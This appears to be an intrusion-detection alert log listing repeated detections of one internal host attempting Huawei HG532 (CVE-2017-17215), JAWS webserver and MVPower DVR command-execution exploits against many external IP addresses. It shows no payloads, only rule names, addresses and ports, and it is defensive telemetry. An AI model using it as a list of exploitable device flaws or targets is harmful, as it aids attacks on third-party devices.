ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.154.67.6

Timestamp:	06/10/24-15:38:00.193307
SID:	2829579
Source Port:	34652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.155.61.239

Timestamp:	06/10/24-15:38:02.500887
SID:	2829579
Source Port:	34050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.178.253.203

Timestamp:	06/10/24-15:38:00.234498
SID:	2829579
Source Port:	43084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.66.48.9

Timestamp:	06/10/24-15:38:02.495196
SID:	2835222
Source Port:	51876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.224.70.86

Timestamp:	06/10/24-15:38:02.677116
SID:	2835222
Source Port:	45284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.28.22.183

Timestamp:	06/10/24-15:38:02.724796
SID:	2835222
Source Port:	52760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.64.191.165

Timestamp:	06/10/24-15:38:02.651590
SID:	2835222
Source Port:	45096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 123.21.144.92

Timestamp:	06/10/24-15:38:02.248692
SID:	2030092
Source Port:	57952
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 5.5.59.135

Timestamp:	06/10/24-15:38:02.137030
SID:	2030092
Source Port:	59546
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 124.126.246.197

Timestamp:	06/10/24-15:38:02.150336
SID:	2030092
Source Port:	56144
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.168.136.24

Timestamp:	06/10/24-15:37:59.992906
SID:	2829579
Source Port:	33394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.248.183.47

Timestamp:	06/10/24-15:38:02.757283
SID:	2829579
Source Port:	44434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.243.121.228

Timestamp:	06/10/24-15:38:02.754766
SID:	2835222
Source Port:	59676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.1.86.198

Timestamp:	06/10/24-15:38:02.735960
SID:	2835222
Source Port:	47608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 111.183.120.0

Timestamp:	06/10/24-15:38:02.199023
SID:	2030092
Source Port:	58564
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 193.5.227.125

Timestamp:	06/10/24-15:37:59.769858
SID:	2030092
Source Port:	39338
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 146.240.196.221

Timestamp:	06/10/24-15:38:02.237504
SID:	2030092
Source Port:	40702
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.202.215.189

Timestamp:	06/10/24-15:38:00.164438
SID:	2835222
Source Port:	48850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.140.184.247

Timestamp:	06/10/24-15:37:59.977354
SID:	2829579
Source Port:	60878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.110.124.70

Timestamp:	06/10/24-15:38:00.134301
SID:	2835222
Source Port:	45440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.91.250.61

Timestamp:	06/10/24-15:37:59.963760
SID:	2829579
Source Port:	46788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.176.219.219

Timestamp:	06/10/24-15:38:02.672216
SID:	2835222
Source Port:	38730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 64.204.248.79

Timestamp:	06/10/24-15:37:59.867470
SID:	2025883
Source Port:	49412
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.80.176.118

Timestamp:	06/10/24-15:38:02.876052
SID:	2829579
Source Port:	47002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.35.253.5

Timestamp:	06/10/24-15:37:59.952964
SID:	2829579
Source Port:	56508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.99.205.156

Timestamp:	06/10/24-15:37:59.994517
SID:	2835222
Source Port:	39806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.55.41.178

Timestamp:	06/10/24-15:38:00.186850
SID:	2829579
Source Port:	33396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.82.79.198

Timestamp:	06/10/24-15:38:02.785256
SID:	2835222
Source Port:	60856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.119.156.133

Timestamp:	06/10/24-15:37:59.968007
SID:	2829579
Source Port:	58160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.225.196.18

Timestamp:	06/10/24-15:38:00.000374
SID:	2829579
Source Port:	42520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 61.254.239.187

Timestamp:	06/10/24-15:38:02.301885
SID:	2030092
Source Port:	41090
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.35.156.28

Timestamp:	06/10/24-15:38:02.650127
SID:	2835222
Source Port:	36866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.213.236.151

Timestamp:	06/10/24-15:38:02.704450
SID:	2829579
Source Port:	40856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.50.7.2

Timestamp:	06/10/24-15:38:02.725896
SID:	2835222
Source Port:	50012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 43.251.181.10

Timestamp:	06/10/24-15:38:02.133348
SID:	2030092
Source Port:	50348
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.141.161.30

Timestamp:	06/10/24-15:38:00.224996
SID:	2835222
Source Port:	55062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.246.40.161

Timestamp:	06/10/24-15:38:02.494522
SID:	2835222
Source Port:	39212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 198.106.193.191

Timestamp:	06/10/24-15:38:02.262402
SID:	2030092
Source Port:	34602
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 62.168.165.136

Timestamp:	06/10/24-15:38:02.087778
SID:	2030092
Source Port:	46684
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 197.140.85.190

Timestamp:	06/10/24-15:38:02.161006
SID:	2030092
Source Port:	60032
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 120.230.204.15

Timestamp:	06/10/24-15:38:02.173963
SID:	2030092
Source Port:	48168
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.78.13.161

Timestamp:	06/10/24-15:37:59.941006
SID:	2835222
Source Port:	33514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 51.122.138.133

Timestamp:	06/10/24-15:38:02.319024
SID:	2030092
Source Port:	52686
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 115.50.164.90

Timestamp:	06/10/24-15:38:02.148491
SID:	2030092
Source Port:	53442
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.144.113.129

Timestamp:	06/10/24-15:38:00.213967
SID:	2835222
Source Port:	58106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 18.100.79.93

Timestamp:	06/10/24-15:38:02.170905
SID:	2030092
Source Port:	57200
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.122.137.98

Timestamp:	06/10/24-15:38:00.014911
SID:	2829579
Source Port:	38984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.113.194.151

Timestamp:	06/10/24-15:38:02.490299
SID:	2835222
Source Port:	54648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.146.151.12

Timestamp:	06/10/24-15:38:00.257346
SID:	2835222
Source Port:	32950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 121.144.172.154

Timestamp:	06/10/24-15:38:02.143761
SID:	2030092
Source Port:	50320
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.180.76.156

Timestamp:	06/10/24-15:38:02.719824
SID:	2835222
Source Port:	37502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.208.114.199

Timestamp:	06/10/24-15:38:02.653315
SID:	2835222
Source Port:	57296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.204.133.93

Timestamp:	06/10/24-15:37:59.978246
SID:	2829579
Source Port:	60256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.231.3.185

Timestamp:	06/10/24-15:37:59.975667
SID:	2829579
Source Port:	36530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.135.181.98

Timestamp:	06/10/24-15:38:02.858288
SID:	2835222
Source Port:	49962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.159.10.140

Timestamp:	06/10/24-15:37:59.985167
SID:	2835222
Source Port:	57818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 129.212.137.97

Timestamp:	06/10/24-15:38:02.324002
SID:	2030092
Source Port:	44934
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.236.7.25

Timestamp:	06/10/24-15:38:00.007220
SID:	2835222
Source Port:	53538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.212.201.147

Timestamp:	06/10/24-15:38:02.503623
SID:	2835222
Source Port:	36608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.106.75.142

Timestamp:	06/10/24-15:38:02.488251
SID:	2829579
Source Port:	33812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.157.185.2

Timestamp:	06/10/24-15:38:02.741975
SID:	2829579
Source Port:	53950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.17.79.89

Timestamp:	06/10/24-15:38:02.642678
SID:	2829579
Source Port:	41888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 203.54.242.166

Timestamp:	06/10/24-15:37:59.745869
SID:	2025883
Source Port:	37862
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.41.194.38

Timestamp:	06/10/24-15:38:00.131221
SID:	2835222
Source Port:	48102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.29.244.234

Timestamp:	06/10/24-15:38:00.214768
SID:	2829579
Source Port:	50926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.70.30.5

Timestamp:	06/10/24-15:38:02.933795
SID:	2835222
Source Port:	52838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.89.192.95

Timestamp:	06/10/24-15:38:00.251690
SID:	2835222
Source Port:	51740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.241.121.248

Timestamp:	06/10/24-15:38:00.014210
SID:	2829579
Source Port:	56360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.126.48.116

Timestamp:	06/10/24-15:38:02.667443
SID:	2829579
Source Port:	56504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 14.141.30.155

Timestamp:	06/10/24-15:38:02.166379
SID:	2030092
Source Port:	54382
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 70.156.171.43

Timestamp:	06/10/24-15:37:59.756001
SID:	2030092
Source Port:	53434
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.122.197.14

Timestamp:	06/10/24-15:38:02.846884
SID:	2829579
Source Port:	53768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 207.225.19.48

Timestamp:	06/10/24-15:38:02.110350
SID:	2030092
Source Port:	37622
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.65.34.75

Timestamp:	06/10/24-15:38:02.692312
SID:	2835222
Source Port:	55186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.153.65.158

Timestamp:	06/10/24-15:38:00.194715
SID:	2829579
Source Port:	37402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.31.222.74

Timestamp:	06/10/24-15:38:00.227634
SID:	2835222
Source Port:	56846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 12.118.28.92

Timestamp:	06/10/24-15:38:02.229897
SID:	2030092
Source Port:	56566
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.205.27.222

Timestamp:	06/10/24-15:38:02.675728
SID:	2835222
Source Port:	33814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.194.61.76

Timestamp:	06/10/24-15:38:00.015623
SID:	2829579
Source Port:	40590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 78.106.130.5

Timestamp:	06/10/24-15:38:02.119966
SID:	2030092
Source Port:	38652
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.242.158.116

Timestamp:	06/10/24-15:38:02.639134
SID:	2835222
Source Port:	37932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.164.87.115

Timestamp:	06/10/24-15:38:02.680398
SID:	2829579
Source Port:	39902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.41.95.201

Timestamp:	06/10/24-15:37:59.957760
SID:	2835222
Source Port:	51050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.249.87.250

Timestamp:	06/10/24-15:38:00.270070
SID:	2835222
Source Port:	33262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.242.83.117

Timestamp:	06/10/24-15:38:02.748143
SID:	2835222
Source Port:	48954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.59.132.123

Timestamp:	06/10/24-15:38:02.821238
SID:	2835222
Source Port:	32890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 217.26.244.68

Timestamp:	06/10/24-15:38:02.096951
SID:	2030092
Source Port:	44218
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.225.226.13

Timestamp:	06/10/24-15:38:02.663241
SID:	2829579
Source Port:	54254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.73.57.101

Timestamp:	06/10/24-15:38:00.200487
SID:	2829579
Source Port:	38990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.60.167.234

Timestamp:	06/10/24-15:38:00.218890
SID:	2829579
Source Port:	47364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.26.246.153

Timestamp:	06/10/24-15:38:00.182265
SID:	2835222
Source Port:	34830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.202.174.167

Timestamp:	06/10/24-15:38:02.908641
SID:	2835222
Source Port:	58970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.0.213.101

Timestamp:	06/10/24-15:38:02.761061
SID:	2829579
Source Port:	36230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 51.171.172.212

Timestamp:	06/10/24-15:38:02.089268
SID:	2025883
Source Port:	40248
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.28.97.254

Timestamp:	06/10/24-15:38:02.716092
SID:	2835222
Source Port:	42970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.82.79.198

Timestamp:	06/10/24-15:38:02.785256
SID:	2829579
Source Port:	60856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.93.109.120

Timestamp:	06/10/24-15:38:02.749574
SID:	2835222
Source Port:	45224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.46.72.248

Timestamp:	06/10/24-15:38:02.729371
SID:	2829579
Source Port:	60038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 181.113.46.125

Timestamp:	06/10/24-15:38:02.083879
SID:	2030092
Source Port:	45866
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.103.106.207

Timestamp:	06/10/24-15:38:02.870630
SID:	2835222
Source Port:	56808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.91.250.61

Timestamp:	06/10/24-15:37:59.963760
SID:	2835222
Source Port:	46788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.39.148.204

Timestamp:	06/10/24-15:38:02.860487
SID:	2835222
Source Port:	44080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.241.255.243

Timestamp:	06/10/24-15:38:00.250289
SID:	2829579
Source Port:	58062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.217.153.165

Timestamp:	06/10/24-15:38:02.673517
SID:	2829579
Source Port:	38196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.167.122.41

Timestamp:	06/10/24-15:37:59.956134
SID:	2835222
Source Port:	38414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 96.134.106.53

Timestamp:	06/10/24-15:38:02.202496
SID:	2030092
Source Port:	47442
Destination Port:	80
